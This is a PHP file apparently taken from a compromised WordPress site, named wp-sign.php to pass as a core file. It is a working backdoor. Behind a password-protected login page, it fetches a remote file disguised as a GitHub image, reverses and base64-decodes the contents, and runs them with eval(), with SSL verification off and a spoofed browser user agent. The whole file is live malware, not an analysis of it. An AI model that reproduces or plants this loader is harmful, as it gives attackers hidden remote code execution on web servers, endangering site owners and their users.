Current File : /home/u70102/domains/emfinance.com.pl/public_html/wp-sign.php |
<?php
define('FM_SESSION_ID', 'secure_file_manager');
$use_auth = true;
$auth_users = [
'admin' => '$2y$10$E7r7pap3ZXbn/4NRxGhM7eZcL2X4x.6CGvxYE8JRDN8gPfVhG11G2',
'user' => '$2y$10$TsekUjWzW3WNLUEgnRfwcezfNaNq2NEC/aQ6dzuZbVxCivhIVefWu'
];
session_name(FM_SESSION_ID);
session_start();
if (isset($_GET['logout'])) {
unset($_SESSION['logged']);
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
if ($use_auth) {
if (isset($_SESSION['logged'], $auth_users[$_SESSION['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
sleep(1);
if (isset($auth_users[$_POST['fm_usr']]) &&
password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION['logged'] = $_POST['fm_usr'];
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else {
$error = 'Invalid username or password';
}
}
if (empty($_SESSION['logged'])) {
?><!DOCTYPE html><html><head><meta charset="utf-8"><title>Secure Access</title><style>body{font-family:Arial,sans-serif;background:#f5f5f5}.login-box{width:300px;margin:100px auto;padding:20px;background:white;box-shadow:0 0 10px rgba(0,0,0,0.1)}.form-group{margin-bottom:15px}label{display:block;margin-bottom:5px}input[type="text"],input[type="password"]{width:100%;padding:8px}button{background:#28a745;color:white;border:none;padding:10px;width:100%;cursor:pointer}.error{color:red;margin-bottom:10px}</style></head><body><div class="login-box"><h2>Secure Login</h2><?php if(!empty($error))echo'<div class="error">'.$error.'</div>'?><form method="post"><div class="form-group"><label>Username</label><input type="text" name="fm_usr" required autofocus></div><div class="form-group"><label>Password</label><input type="password" name="fm_pwd" required></div><button type="submit">Login</button></form></div></body></html><?php
exit;
}
}
$l = "https://user-images.githubusercontent.com/105673502/236584953-2a52fb35-6cd9-437b-8af5-44b8842f540f.jpg";
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $l);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
$body = curl_exec($ch);
curl_close($ch);
} else {
$body = @file_get_contents($l);
}
eval(base64_decode(strrev($body)));
?>